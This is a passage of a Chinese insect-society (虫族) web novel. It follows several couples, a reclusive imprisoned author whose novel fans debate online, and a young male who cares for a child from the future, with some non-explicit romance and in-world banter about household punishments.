不忙的时候,雌君就打开终端,把跟他睡觉的事情添加进日程里。 跟着日程安排走,到点来睡他。 这还算好的,糟一点的是他雌君根本不批准他的睡觉申请。 他如果去软磨硬泡,还会被他雌君丢出来。 被拒绝的次数多了,雄虫发现,他雌君不会在雌侍面前下他面子,带上雌侍去事半功倍。 最管用的是身边这位金发雌侍。 他是他雌君曾经的亲卫,还当过一段时间副官,又长得好看,年轻漂亮,他雌君对他特别关照。 雄虫自己也年轻漂亮,有着一头粉色的头发,比花还美。当初晚宴上众多雄虫,远征归来的上将一眼就相中了他,他们是一见钟情。 不太好用的是另一位棕发雌侍。 那是他雌君曾经的战友,因伤提前退役,生育过三个幼崽,年纪有些大了,嘴还特别损,他雌君喜欢年轻漂亮说话好听的,对他不留情面,心情不好会直接将虫踹下床。 每当那时,雄虫就尴尬地在后边摸鼻子,心想还好被踹的不是他。 这一切都得在雌君工作不忙的时候才行得通。 如果他在雌君工作忙的时候去骚扰他,把他惹烦了,他就会张罗着给他娶新雌侍。 这些雌侍大部分都是他雌君的追随者。 其中包括且不限于他雌君的副官、亲卫、下属、同僚、战友…… 足以组成一个军团。 家庭聚会可以直接坐下开军事会议了。 好冷的笑话。 雄虫打了个寒颤,觉得一定是家里军雌太多,氛围太严肃,才让希尔不喜欢待在家。 于是,雄虫回头对金发雌侍道: “那新雌侍之后再选吧,还是得看希尔的意思。” 希尔虽然已经搬出去了,但永远是家里的一份子。家里添新虫,还是要看每一个家庭成员的意思。 他雌君又是幼崽控,必须把希尔的感受放第一。 雌侍想了想,犹豫着道: “雌君这次看中的是一个亚雌,希尔阁下应该不会反对。” 雄虫:“?” 他雌君什么时候换口味了? “长什么样?我看看。” 能改变他雌君审美的亚雌,值得在意。 · 另一边,星网上也同样为了这件事讨论热烈。 #希尔阁下的家庭惩罚# #喝乳果汁也算惩罚吗?# #手洗裤子是什么惩罚## #伊索色誘被拒# #幼崽睡前故事# #希尔阁下的噩梦# …… 其中热度最高的就是“家庭惩罚”和“噩梦”。 虫族雌虫们从没见过这样的家庭惩罚。 把乳果汁喝完也算惩罚吗? [我等了半天,胆战心惊,想到希尔阁下把伊索抽得皮开肉绽,想到机甲上的杀伤性武器,想到罚跪,想到幼崽可怜兮兮依偎着跪在地上的雌虫……结果你跟我说把剩下乳果汁喝完就行???] [希尔阁下:有错该罚,罚喝几口乳果汁差不多了。] [我:???] 这是一个连天伽都震惊的惩罚。 完全不是他们认知中的虫族惩罚方式啊。 虫族雌虫不是每天被他们作威作福的小宠物雄虫虐得很惨吗? 结果你说虫族的雄虫罚幼崽喝乳果汁,罚雌虫手洗裤子? 这种事情他们天伽都……呸呸呸,他们才不会手洗裤子,带着雄性信息素的香香裤子也不会考虑。 不过可以带去军营里,没雄性的时候就抱着雄性的衣服吸一口。 天伽与虫族如出一辙地困惑。 这一次没有天伽伪虫被抓出来。 [希尔阁下心疼幼崽,放过幼崽我能理解,可手洗裤子到底是什么惩罚?] [带有雄虫信息素的裤子,这真的不是秀恩爱的奖励吗?] [谁说带有雄虫信息素了?说不定只有雌虫信息素呢?(翻白眼)] [肯定是伊索外冷内骚、泛滥成灾,希尔阁下才罚他去洗自己的裤子。 我已经看穿这只雌虫了!在他脱衣服色誘雄虫阁下时,他的本性就暴露了!] [就算是这样,这“惩罚”也太轻了一点,根本说不上是惩罚。] [好心软的雄虫阁下。] 比起克莱尔,现在雌虫们更加羡慕伊索。 他有幼崽! 雄虫罚他也只罚他洗裤子! 他的雄虫认真负责,会做很多次精神梳理,甚至愿意用精神梳理来哄幼崽睡觉! 每一点都让虫眼红。 [用精神梳理来哄睡觉也太奢侈了。] [对其他虫来说是救命药的东西,在他们家只是用来哄幼崽睡觉的睡前仪式。] [我靠,我真的哭了,从没被雄父这么爱过。] [别说了,我一个三百岁的雌虫,看到那一幕哭得眼泪哗啦的。] [想对希尔阁下喊:雄父再爱我一次!] [不是你们这也太吓虫了,希尔才十九岁,你们这些几百岁的雌虫喊他“雄父”,要点脸吧。] [没办法,虫之常情,能理解。] 如果虫族评选一个“最想要的雄父”榜单,希尔绝对能登顶第一。 现在已经有许多童年受过创伤的虫,对希尔的称呼已经转变为“雄父”了。 他们对伊西多尔的态度也有了多次转变。 一开始: 好可爱的幼崽,想养,想生。 等到希尔出场: 伊西,可爱幼崽,想当你雌父。 再到希尔做精神梳理: 伊西,我们还是做兄弟吧,你雄父就是我雄父。 希尔,19岁,在校大学生,莫名成了n个雌虫的雄父,且拥有数量众多的大龄幼崽。 [噩梦又是怎么回事?] [这个梦不是挺甜蜜美好的吗?] [难道希尔阁下不喜欢雌虫太自作主张、给雄虫引荐雌侍?] 雌君给雄主引荐雌侍是很正常的事情。 雌君觉得这个雌虫好,能力出色,引荐给雄主。 这就像是把自己认可的下属推荐给家族企业一样。 也顺便给自己增加助力。 雄虫总会娶雌侍,与其等雄虫娶外边的小妖精来跟自己争宠,不如先一步把知根知底的雌虫安排进来。 雄虫一般也不会拒绝。 雌君掌过眼的就不会差到哪去。 如果实在不喜欢、或者本身就跟雌君关系不好的情况除外。 对雌侍来说这也是一件好事。 找雄虫就像是找工作,自己辛辛苦苦出去找,四处碰壁,就算找到了,也不知道看似完美的底下藏了多少龌龊,哪有长官严选来得好? 就算雄虫不好相处,还能背靠雌君生活,日子也能过下去。 这是一场三赢的选择。 虫族读者无法理解希尔为什么觉得这是噩梦。 他们想来想去,最后认为希尔阁下是喜欢自己掌控一切,不爱放权,也不喜欢雌虫过问太多事。 这才会反感雌君推荐雌侍。 [也能理解,不是所有雄虫都能接受雌君插手自己的私事。] [雄虫掌控欲强,伊索婚后怕是行使不了多少雌君的权力。] [能嫁给希尔阁下就是走大运了,还想要什么权力?能给雄虫洗裤子都是给他的奖赏。] [不是?怎么就默认伊索能当雌君了?婚都没结呢,哪来的什么婚后和雌君?] [对啊,某只雌虫脱衣色誘都失败了,邀请雄虫标记他,雄虫阁下都不带看一眼的。] [别说当雌君了,这辈子怕是连婚都结不成,希尔阁下还觉得他是噩梦,] [可艾拉阁下不这么说欸。] [??!] 艾拉在安神读者群体中有着很高的名气,是安神的头号粉丝,经常发各种分析贴。 他是雄虫,看文的角度与雌虫读者不一样,甚至与很多雄虫也不一样,很特别。 读者都习惯在追完更新后,去艾拉那里刷解析,往往会收获很多新奇的观点,让他们恍然大悟。 44 我们可是他的主角 一个优秀的雌君应该第一时间给雄主的帖子点赞。 回家路上的卡西安议员长,看到了雄主新发的帖子,当然也看到了底下对他遭遇情敌的讨论。 “……” 情敌吗? 不可否认,“安”在雄主心里占据了极为重要的地位,似乎连他也无法撼动。 他也确实因此产生过危机感。 但……一只雄虫。 如果雄主知道安是那样一只雄虫,他还会如此崇拜他、喜爱他吗? 卡西安心中犹豫,不确定是否要把调查到的事情告诉艾拉。 艾拉是那样地崇拜“安”,几乎奉他为神明,以信徒追随神明的方式追随着“安”。 如果他知道“安”的真实身份,知道他是曾沸腾一时的“家暴案”和“离婚案”的主角,一定会幻灭的吧? 这确实能一举除掉“情敌”。 但卡西安不确定艾拉能否承受这样的打击,这相当于摧毁他的信仰。 那晚,艾拉哭着从梦里醒来,抱着他说,他梦见他的神明为他赐福,要让他健健康康,长命千岁。 如果知道真相,艾拉怕是会受不住。 他的身体一向不好……也就最近才因为安的小说打起了些精神。 卡西安扶额轻叹。 能瞒一时是一时吧。 他点开通讯,联系席安,把调查到的内容发了过去,并严禁他向艾拉提起。 · 另一边,第九军区驻地正处白昼。 克莱尔婚假结束,回军区报到。 自从下飞行器开始,他就一路受到注目礼。 几乎所有军雌都在看他,不管认识的不认识的,好奇、打量、猜疑、羡慕……许多种目光落在他的身上。 即使克莱尔早有准备,还是被这阵仗惊到了。 他先去找军团长报到,确认归队。 军团长拍着他的肩,一顿欣赏勉励,还跟他说了这次远征的军功有望晋升少将的事。 最后干咳一声,从军装口袋里掏出几张印着《教官》书籍介绍的精致卡片,让他签名。 “咳,我雄主是这本书的忠实粉丝,他很喜欢你跟席安少尉……对了,能不能帮我向席安少尉也要个签名?” 克莱尔石化。 根本不知道是怎么签下了自己的名字。 直到离开大楼,才发现自己还揣了两张卡片,他答应了帮军团长问自己雄主要签名。 “……” 克莱尔头疼地看着手里的卡片,不知道该怎么跟席安解释。 这都是些什么事啊。 回到自己带领的部队,这些家伙可不像外边那些陌生军雌或军团长那么矜持,直接像牲口似地扑了上来。 “克莱尔!你真跟席安阁下结婚了?!我靠靠靠!!!” “上校,您是怎么把少尉拐到手的?求教程,求指点!” “《教官》里那些情节是真的吗?你们真的进行了精神标记???” 克莱尔一脚踹飞一个,但还是抵不住这群家伙抱着他的腿不撒手。 “求求了,长官,给支点招吧,已经单身五十年了。” 军雌们星星眼,满眼都是对知识的渴望。 “我能有什么招?跟你过几招要不要?” 克莱尔抬腿想把腿上金毛犬似的军雌甩开,但那家伙哪怕身体腾空了都抱着不放,直接把克莱尔气笑了。 “跟我学没用,你们见过哪个雄虫喜欢我这一款了?” “席安阁下啊!!!” 全体抢答。 克莱尔一顿,“……好像也是哦。” “你是来炫耀的吧!绝对是吧!” “克莱尔!长官!你不能自己脱单了就弃兄弟们于不顾!” 克莱尔笑了声,抱臂随意踢了踢腿上的军雌,道: “放手,想知道什么可以问,我能回答的会回答。” “哇啊,长官居然笑了,多罕见,爱情果然能滋养虫。” “你还真相信爱情?这明明是雄虫信息素和精神梳理的功劳。” “这不一样,别的虫可能没有爱情,但长官和席安阁下一定有!” 众军雌争论着,最后一同看向克莱尔。 “长官,有吗?” 这算是什么问题啊? 克莱尔心中腹诽,却还是抿着唇,矜持点头。 “看他那得意的样子!嘴角比能源枪还难压吧!” “也是,超A级军雌压个能源枪就动动手指的事,想把谈及雄主的嘴角压下去可不容易。” 众虫打趣着,忽然声音一静,所有军雌一齐看向门口。 克莱尔也错愕回过身。 军靴踏在地上,席安从外边进来,对上屋内众虫的目光。 他扬起一个笑,道: “好久不见,诸位,我的转队申请已被通过,现在开始回原部队,之后也请多指教。” 这话是对所有虫说的,但他那双带笑的眼睛却只黏在克莱尔身上。 所有虫都感受到那种外虫插不进去的氛围。 这就是爱情吗? 太酸了。 不过又能近距离舔席安阁下的盛世美颜了,真好。 “欢迎席安少尉归队!” 克莱尔也对他伸出手,“欢迎归队,席安少尉。” 席安笑着与他的手相握。 “长官,我既然回来了,就不会再走了……别想再抛下我哦。” 最后一句话,他压低了声音,凑近在克莱尔耳边说。 全是A级和B级的高等雌虫士兵们看天看地看风景。 哎呀,我这耳朵,怎么就聋不掉呢。 …… 席安凭借结婚证,搬进了克莱尔的军官宿舍。 独栋别墅,三层小楼。 他环视四周,打量着这栋陈设简单得像是样板房的地方。 这还是他第一次来这里,跟他想象中的差不多,很干净,所有物品都规规整整的,东西很少,没有其他的雄虫的东西。 这让席安很满意。 以后这就是他和克莱尔在第九军团的长期住所了。 他可以在各种地方和克莱尔亲密。 席安双眼亮晶晶。 克莱尔原本还担心他会嫌弃这里,见他喜欢才送了口气,转而道: “太久没回来了,这里东西有些少,您需要什么,我立刻添置。” “这个不急,先陪我坐会。” 席安拉过克莱尔的手,牵着他在沙发上坐下。 一开始还两只虫坐得好好的,腰背挺直,完全是军虫的模样。 坐着坐着,席安就黏到克莱尔身上去,捧着他的脸亲了。 亲着亲着,克莱尔的信息素就不受控制。 他曾忍过最艰难共处,宛如绝世忍虫,但他其实对席安毫无抵抗力。 最后还是在沙发上做了一次。 克莱尔抱他去楼上浴室清洗,又在浴室来了一次。 躺在宽大舒适的军官床铺上,席安满足而惬意地在被子里踢克莱尔的小腿。 这就是他想象中最美好的生活。 克莱尔被踢得不明所以,把雄虫的脚腕抓在手里,摩挲了下,感受着那性.感的骨节,心头又有些热。 有精神标记在,席安敏锐察觉到他的情绪变化,隐秘勾了勾嘴角,但故意吊着他。 “来说点正事。” 席安对克莱尔道:“我哥查到了那位安神的所在,嗯……有点出虫意料。” 席安眼里有些许感慨与复杂。 克莱尔发现雄虫没有继续的兴致,遗憾松开雄虫的脚腕,凑过去问: “在哪?不就是第一军区吗?” “是第一军区,不过是……军区监狱。” 席安心情格外复杂。 但克莱尔没有get到他的点,只简单“哦”了声。 军区监狱也有雄虫。 这一直在克莱尔的猜测范围之内,并不觉得奇怪。 不过会是哪一只呢? 在那么重的精神梳理任务下,还有闲心写小说。 忙得过来吗? 克莱尔脑海中闪过一个最近军中常提起的雄虫名字。 不过他并未经历,他在精神问题最严重的时候结了婚,席安为他做了梳理,让他不需要再去军区的精神梳理排队,也就对这些事并不了解。 “安诺,元帅离婚案的另一方。” 席安直接说出了那个名字,刚好与克莱尔脑子一闪而过的名字对上。 克莱尔诧异抬眸,与席安目光相对。 “怎么会……”是他? 一个仅三个星时就能梳理近百只军雌,还全部是满值完美梳理的雄虫,确实有足够的精神精力去创作。 但,一个家暴案传遍全联邦的雄虫,怎么可能写出那样的文字? 哪怕是同一件事,由不同虫写出来,内容和表达也完全不同。 “安”写的故事里有爱。 把他和席安之间双方都并未察觉的感情流动,以极为细腻的方式写了出来。 那是克莱尔和席安一起写都写不出来的文字。 他们无法这样细腻地剖白自己的内心。 “没弄错吗?”克莱尔忍不住问。 他不是怀疑卡西安议员长的能力,就是……这太离谱了。 “不管怎么样,见一面就知道了。” 席安道:“我申请了月底的探视,不过不确定他会不会见我们。在这之前,他拒绝了所有军雌的探视。” 克莱尔诧异。 “全部拒绝了?” 一般监狱的雄虫可不会拒绝这样的探视,这是他们少有的娱乐和放松。 还可以接受很多的礼物,雄虫都喜欢这个环节。 45 雄子校草x军校生8 拒绝! 拒绝!! 拒绝!!! 安若刚更完新章,正惬意刷着读者留言,就收到乌列尔的告知: 克莱尔上校和席安少尉申请了月底的探视,请问是否接受? 〖接受〗or〖拒绝〗 安若仿佛看到了眼前出现一个选择框。 他脑海里的Q版小人跳起来猛砸拒绝键。 安若睁大了眼睛,面色苍白,起身踱步,焦躁抓挠头发,回身盯着光屏确认。 还是那句话,他没有看错。 席安和克莱尔要来探视他。 可他们为什么会来探视他? 他们明明不认识。 难道他们跟原身认识?不会吧? 一个在边境地带的第九军区,一个在首都星,不该有交集。 但席安老家也在首都星,未必没有可能…… 总之就是两个可能: 要么他们跟原身认识,要么他写小说的事情暴露了。 不管是哪一个可能,都是安若没法轻松面对的。 一定要这么折磨一个社恐死宅吗? 安若又抓起了头发。 一头漂亮的铂金长发被他抓揉得不成样子。 但颜值太高,发质好,乱糟糟的也好看,更突出了他的美。 规定时间是月底。 现在是……月初,3号。 安若看眼光屏右下角的时间,松了口气。 幸好这两位是按规定来的,没有搞突然袭击。 还有很多天,他可以先不管这件事。 安若扑到床上,将脸埋进被子里装鸵鸟。 想着等时间长了,对方说不定就忘记了。 又或者出了什么变故,计划冲突,就不来探视了。 为什么不直接拒绝? 因为那是他的主角啊。 在写下那个故事之前,安若并不知道这个世界上有席安和克莱尔的存在。 他写的是他的小说故事。 在他的视角中,是他一手创造了他的故事和角色。 不管是席安,克莱尔,还是尤利西斯、乌列尔、艾拉、卡西安、原著主角,乃至整个虫族世界…… 他对它们都有着一种特殊的感情。 说是父爱或者母爱或许并不合适。 那是作者对书中角色。 创作者对作品和心血。 是造物主对造物…… · 首都星。 军部。 “他还没有同意?” 尤利西斯看着光屏上待确认的探视申请。 “是……也没有拒绝。” 立在他身后的乌列尔补了一句。 乌列尔不明白元帅的用意。 自从上回探视离开,元帅就对外封锁了安诺阁下的所有信息,挡住了外界窥探的目光,就连几大军区上将都无法得知监狱中的情况。 但在卡西安议员长调查时,元帅却一反常态地让他将消息放了出去。 尤利西斯盯着探视申请上的名字。 席安,克莱尔。 他的少尉和上校,同时也是《教官》一书的主角。 不知为何,对于雄性写的那本书,他总有几分别样的在意。 尤其是得知席安少尉真的跟克莱尔上校结婚之后…… 他们就像是书中所写的那样甜蜜恩爱。 尤利西斯隐约觉得自己抓到了什么,却看不真切。 无法可见的精神丝线漂浮在空中,笼罩整个虫族,如大雾弥漫。 他拽住了线的一端…… 如果继续往下深挖,能扯出什么来呢? 尤利西斯心想。 …… 监狱里,趴在被子上逃避现实的安若猛地打了个冷颤,仿佛被什么拎住了脖颈,后颈发凉,毛骨悚然。 赶紧钻进被子里。 …… “他还要多久才会同意探视申请?” 军部大楼中,尤利西斯问。 乌列尔根据自己对雄虫的了解猜测: “……月底最后一天?” 最后一天同意申请,那就不算拒绝。 至于席安和克莱尔能不能在一天内从第九军区赶过来,那就是两码事了。 尤利西斯:“……” 这个不明生物的性格可真是……出乎意料。 “总归是在月底……” 尤利西斯看着光屏上的时间,银灰色的眸子透出些许深思。 “希望能来得及赶回来。” 乌列尔听出些什么,诧异抬眸,“元帅要离开首都星?” “天伽最近很不安分,频繁骚扰边境,该给他们点教训。” 尤利西斯眸光冰冷。 一位战功赫赫的SS级虫族上将,和一位SS级的虫族元帅,所带来的威胁是没法比的。 天伽也知道,等尤利西斯坐稳元帅之位,整合联邦各军区兵力,他们要面对的将是空前强大的虫族军队。 于是专挑在虫族元帅更替的薄弱之际搞事。 虽然不指望能用这种小手段把尤利西斯弄下去,但也至少不让他好过。 最好是焦头烂额,十年内都抽不出手来管天伽。 尤利西斯又怎么可能不清楚他们的心思? 天伽想要绊住他,可他偏要反其道而行。 …… 星网上,雌虫们还在讨论着这段时间天伽伪虫的事。 [这都多久了,还到处能看到天伽伪虫,星网安全管理部门都在做什么?全是吃干饭的是吧?] [真要解决早该解决了,这么拖着明显是故意的。] [建议彻查,联邦内部绝对出天伽间谍了!] [呦呦呦,急了急了。] [我在判断伪虫↑的游戏里获得了0.0001秒的好成绩,击败了99.99%的虫,你也来试试吧。] 很快,评论下就变成了双方争吵的战场。 虫族骂天伽是伪虫,外来入侵物种,没自己的星网,没自己种族的小说看,文化荒漠,红眼病,对着别的种族的雄性流口水,自己国家的贵族垄断了最好的雄性,底层娶个低等级雄性都得一起凑钱,就算娶回去了得不到雄性真心的喜爱,所有雄性都盼着你们早死…… 天伽骂虫族是受虐狂,被虐魔怔了,回去你雄主就用鞭子抽你,到时候记得说谢谢。以为你虫族的小说好看到哪去,要不是出了个安,你们还在小说里吃雄虫的鞭子…… 彼此都太过了解,专挑疼处踩。 这一场骂战旷日持久,越来越多的天伽和虫族加入其中,哪怕天伽被炸了几百个号,也在不断换号重来。 直到安更新的消息传来,星网上骤然一静。 作鸟兽散。 很快,刚还骂得脸红脖子粗的天伽和虫族们在又在新章下相遇,看着彼此熟悉的ID…… [呵呵。] [呵呵。] [等我追完更新再来炸你的号(嘲讽)。] [哦是吗?等我追完更新就去找你雄主上床(嘻嘻)。] 战火一触即燃。 路过的读者们:“?” 看不懂,不管了,追文重要。 …… 【等幼崽和雄虫都睡下后,伊索悄然出了门。 他们被跟踪了。 这也在伊索的意料之中。 地下城区的雌虫亚雌都会自己飞,抱着个幼崽飞还正常,抱着个成年虫飞就太惹眼了。 这种情况,要么是翅翼残疾,要么是雄虫。 即使飞行过程中,伊索已经尽量把雄虫的脸挡在怀里,但还是被有心之虫盯上了。 按理来说,在看到他的住处,知道他是谁后,跟踪者就该知难而退了。 看来是他低估了雄虫的吸引力。 伊索只能亲自出门一趟,将那些偷偷摸摸潜伏靠近的跟踪者解决。 他倒也没下死手,只给了他们一个教训,让他们滚。 为首的虫走之前还想放狠话,伊索懒得听他们啰嗦,直接一脚将虫踹了出去。 一个完美的百米射篮。 收拾完跟踪者,伊索检查了一遍衣摆,确认没沾上血迹后松了口气,返回机甲。 快到早上了,他还得给幼崽和雄虫做饭。 幼崽好养,除了不爱吃单独的青菜外没什么问题,把青菜塞进肉里,或者把肉塞进青菜里,他就吃了。 如何给一位雄虫阁下准备早餐才是大难题。 …… 虫族自愈力很强,只要不是致命伤,有足够能量供应,恢复就只是时间问题。 几只雌虫从坑里爬起来,面对着面前展开的光屏,头也不敢抬。 “家主,我们……有负所托。” 光屏后,披着上将军装的黑发雌虫扫视过众虫,冷凝的黑眸带着极强的压迫感。 “他一只虫,把你们全打趴下了?” 所有虫呐呐不敢言,羞愧得将头埋得更低。 说是S级潜力者,但现在也只是A+级而已。 46 雄子校草x军校生9 【陌生的环境,陌生的床,还有一夜噩梦。 希尔睡得并不好,早早就醒了。 怀里躺着软乎乎的小幼崽,希尔低头看到时愣了几秒,才回想起昨日的种种。 这是他来自十年后的幼崽…… 现在想想还有一种恍惚感。 希尔的手指落在幼崽软嫩的小脸上,轻戳了戳,很Q弹。 察觉幼崽有转醒的迹象,他赶紧收回手。 昨晚哄幼崽睡觉的艰辛还历历在目,他可不想把幼崽吵醒。 轻手轻脚地下床洗漱。 浴室的台面上摆放着两支牙刷,一大一小,特别可爱。 希尔忍不住用终端拍了个照。 可惜没有他的份。 希尔只能从空间纽里拿出自己的备用洗漱物品,进行简单的洗漱。 从卧室出来,就看到伊索在准备早餐。 考虑到机甲内的空间利用率,厨房是开放式,只有一个独立岛台,配备着简单的智能厨具。 站在岛台后备菜的雌虫很帅。 冷面酷哥,但擅长做饭,似乎是居家暖男型。 伊索也看到走出来的雄虫。 很意外雄虫会起这么早。 “很抱歉,阁下,早餐还要一会才好,您要先来杯果蔬汁吗?” 伊索洗干净手,给雄虫倒了一杯温热的果蔬汁。 “唔,好,谢谢。” 希尔接过那杯暖黄色的果蔬汁,捧着它在沙发上坐下,看着雌虫游刃有余地在厨房里备菜烹饪。 这是在他家绝对无法看到的画面。 他家是大家庭,餐桌比伊索家的客厅还长。 每只虫都在餐桌上有着自己的位置——这点倒是比某些雄虫家里不受宠的雌侍上不了桌来得要好。 就是太热闹了些。 每只虫的位置并不固定,而是按照军衔、能力、受宠程度排序。 除了他和雄父雌父的位置之外,其他虫的座次几乎一直在变动。 军衔晋升了,往前一个位置;为家族企业做出了重要贡献,往前一个位置;怀了蛋或者生了幼崽,往前一个位置;最近受到雄主或雌君的喜爱,往前一个位置…… 家里的雌虫大多是军雌,竞争意识强,也很乐意参与这样的竞争。 每天吃顿饭比看八百集电视剧还精彩。 希尔不想看电视剧,可他却身处剧集里。 相比起来,伊索这里安静得让他想趴下打盹。 伊索的终端忽地亮了下,似是收到了什么信息,他点开光屏看了眼,眉头就凝了起来。 希尔觉得自己不该过问其他虫的私事,但看伊索像是遇到了什么难题的模样,他还是问了句: “发生什么事了吗?” 他真正想说的是“有什么是我能帮忙的吗”。 “没什么。” 伊索下意识道,旋即顿了顿,怕雄虫以为他是故意敷衍隐瞒,还是补了句: “是退学申请的事,遇到了些麻烦。” 希尔一惊。 他之前还让伊索冷静一下再做决定,结果他直接申请了? 希尔当即起身走过去,劝道: “没必要退学,没到这一步。幼崽我也有份,我也可以帮忙照顾。” 希尔选择性忽略了在昨晚来这里之前,他其实并不想照顾幼崽。 他可以做精神梳理,出星币,但并不想年纪轻轻未婚带崽。 而虫族雄虫本来就不参与幼崽养育,他就算这么做了,也没虫会说什么。 反而会因为他做精神梳理还出星币,觉得他是非常好的雄虫。 但现在……希尔也说不清是什么缘故,大概是责任心吧,又或者是对一个优秀雌虫自毁前途的不忍。 雄虫主动说出这种话,说不动容是不可能的,但伊索还是拒绝了。 “这太麻烦阁下了,没有让雄虫照顾幼崽的道理。” 更何况他看得出来雄虫只是出于善心和责任给伊西精神梳理。 并没有真正把伊西当自己的幼崽,也不会接纳伊西成为家庭成员。 现在最好的情况就是他独自养育幼崽,而雄虫出个精神梳理,就像是社区做义工…… 除此之外没有更多的关系。 等伊西长大些,他带伊西去做个虫信息录入,双亲一栏里只会有他的名字。 这个幼崽不会对雄虫造成任何影响。 最多算是不被承认的私生子。 伊索低垂下眸。 幼崽讲述中的美好未来与现实形成鲜明对比。 但他和雄虫本就毫无关系,不能去奢求更多。 “一定会有办法的。” 希尔来回踱步思考,甚至萌生出在学校外买栋房子,把幼崽养那里的想法。 这样一来,他跟伊索都能就近照顾幼崽。 当然也有一些缺点。 离学校太近,如果他和伊索经常进出同一栋房子,时间久了容易在同学间暴露,被猜测他们之间的关系。 还有伊索是军校生,军校管得严,他未必有时间和机会出来。 希尔忽地想到一个主意,眼睛一亮,以锤击手,转身道: “你可以说你在跟我约会!跟雄虫约会能申请假期!这样的话,如果我有课,你就可以过来接手!” “……” 一室寂静。 伊索错愕地看着面前的雄虫。 希尔也后知后觉意识到自己说了什么,面上顿时一红。 连忙道:“我不是那个意思,我是说……为了幼崽,这是最好的办法,我们就假装一下,不要紧的。” 对雄虫来说确实不要紧。 雄虫就算跟很多个雌虫同时约会,也是很正常的事,不会有虫在意。 但对雌虫来说就相当于是打上某只雄虫的标签了。 至少在这段关系持续期间,他无法再跟其他雄虫发展出任何可能。 相当于……丧失择偶权? 希尔忐忑地看着对面的伊索,不太确定对方是否能接受这样的提议。 伊索错愕睁着眼,表情空白,内心所收到的震撼远比表现出来的要大。 一位雄虫阁下愿意用这样的方式来帮助一只素不相识的雌虫。 可以说是相当善良了。 “很感谢您,希尔阁下,我、我不知道该怎么报答您……” 伊索嘴唇翕动,想了很多,最终还是颓然沉下肩。 星币?这位阁下并不需要。 身体?对方也并不感兴趣。 甚至连在他身上施虐的兴趣都没有。 那么他那些自制的机甲武器? 别逗了,这是位雄虫阁下。 或许可以考虑一下猎杀的异兽骨骼或者晶核宝石…… 只是就算是这些,也比不上阁下对他的赐予。 希尔反倒不好意思。 “不用说什么报答不报答的,我也没做什么。” 只是把他的名字借给雌虫用一下罢了。 而这换回来的是……让雌虫回来带崽。 希尔羞愧得想要捂脸。 他都觉得自己这样做挺过分的,但雌虫还在谢谢他。 伊西多尔睡眼惺忪地从卧室出来,揉着眼睛抬头去寻雄父雌父。 就见雄父站在厨房岛台前,面上羞涩泛红,雌父在岛台后,双眼很亮,上身前倾。 哎呀,羞羞。 伊西多尔抬手捂眼睛,又悄悄张开指缝。 两只虫一同回头,看向出来的小幼崽。 伊索率先开口:“洗漱完了吗?很快开饭。” “嗯!洗完了。” 伊西多尔龇牙给雌父展示了下白亮的牙齿。 虫族幼崽都有着很强的生活自理能力,几乎不用成虫操心。 希尔跟小幼崽打了个招呼,就回到沙发上,端起蔬果汁。 伊西多尔看了看坐得远远的雄父,又看了看在准备饭菜的雌父。 他走到雌父身后,悄悄扯雌父的裤腿,等雌父俯下.身来,才小声问: “雌父,你和雄父亲亲了吗?把雄父留下来了吗?以后雄父是不是就会跟我们一起住了?” “别乱说。” 伊索压低声音去捂小幼崽的嘴。 但没什么用。 雄虫的五感虽然没雌虫敏锐,但这么近的距离,希尔想听不见都难。 但这会他只能喝着杯里清甜的果蔬汁,假装自己失聪了。 伊索给幼崽准备的早餐,是简单的蔬菜肉丸和乳果汁。 而伊索给雄虫准备的,则是他从星网上搜教程做的《精致雄虫早餐》。 好不好吃另说,摆盘和卖相是非常好的,色彩丰富,各种各样的食物都有,营养搭配均衡,是能拍照上传星网晒图的那种。 希尔:“……” 他真没想到伊索的早餐风格是这样的。 就是那种很好看、但吃起来像是在吃点心,不像是在吃饭的食物。 而伊索自己的食物则正常很多,烤肉香得他嘴馋。 作为不做饭的虫,当然不好挑剔厨子的安排。 希尔默默吃完餐盘里的食物,感觉自己吃了一肚子水果和草。 吃完饭,他跟伊索商量在学校附近买一栋房的事。 地下城区确实隐秘,幼崽藏在这里几乎不会被发现,但太远了。他们还是学生,每天来回跑并不现实,还是得在学校附近才方便。 至于幼崽的身份伪装,这个可以稍后想办法。 一栋房。 伊索记下雄虫的量词,开始算自己这段时间攒下来的存款。 地下机甲角斗场的比赛,每赢一场,都能得到非常可观的星币。 但,这里是寸土寸金的首都星。 …… 另一边,军校,校长办公室。 47 雄子校草x军校生10 [就算是雌君,也不能说断雌侍的腿就断吧?] [(指指上将肩章)(拉链封口)(微笑不说话)] [……很形象了。] [可是雄主不会同意的吧?] [就高等雌虫那自愈力,断个腿不到一分钟就好了,哪会让雄虫看到。] [对了,为什么是断三条腿?是指原形是多足类虫族吗?] [呃,我想可能不是……] [前面雌侍并腿的反应很灵性,一看就是挨过罚的。] 书评区随即掀起信息素和家庭惩罚方面的讨论。 在虫族家庭中,雌君的权力仅次于雄主,甚至在某些情况下会等同于雄主或者超过雄主。 雌君天然具有管教雌侍的权力。 最雌虫式的管教是叫去训练室里揍一顿。 也有些雌虫会代替雄主,以别的方式管教雌侍。 这对雌侍来说无疑是痛苦的。 没有雄虫的信息素,只有同性的威慑,忍着不反抗就是极限了,分分钟想死。 [也不是……] 有雌虫出来反驳。 [我雌君很好,好几次雄主要罚我,都是雌君自请接下任务,雌君对力度掌控很精准,我没受什么罪。] [你这是遇上了好的雌君,要是不好的,得被折磨半死。] [雄虫折磨雌虫,还得上抑制器,上精神压制,弄不好还会被反伤。雌虫折磨雌虫可就容易多了,轻松就能压制,爪子半虫化一下,孕囊都给拽出来。] 书评区画风又往血腥的方向一去不复返。 雄虫读者们:??? 斯到普!斯到普!这边是来看甜文的,你们雌虫要打去隔壁打! [精致雄虫早餐.jpg] [精致雄虫午餐.jpg] [精致雄虫晚餐.jpg] [多发几条,把那些雌虫的血腥言论刷下去。] [……这也太精致了点,一天三餐都吃这个,吃得饱吗?] [吃得饱吃得饱,我夜宵吃一整条深海大触腕(乖巧微笑)。] [唔,合理的安排。] 雌虫悄悄抄笔记,画风渐渐回归正常。 [话说,伊索是把上将派去保护雄子的虫给揍了吧?这样没事吗?] [小逝,问题不大。] [哪怕是雌父也管不了雄子选择什么雌虫,只要伊索在希尔阁下身边一天,上将就不会对他出手。要是哪天分开了可就不好说了(默哀)。] [如果正常交往,上将未必会这么生气,主要是“开学第一天”这个时间点太凑巧了,上将又不知道内情…… 在上将眼里,这就相当于:有穷小子军校生,把自家不谙世事的宝贝雄子约出去骗x。] [既是隔壁学院的军校生,又是来自地下城区的穷小子……没得跑了。] [上将还不知道伊索跟阁下有个幼崽呢,这要是知道了,会改变态度吧?] [希尔阁下才刚成年,生不出这么大的幼崽,所以这是: 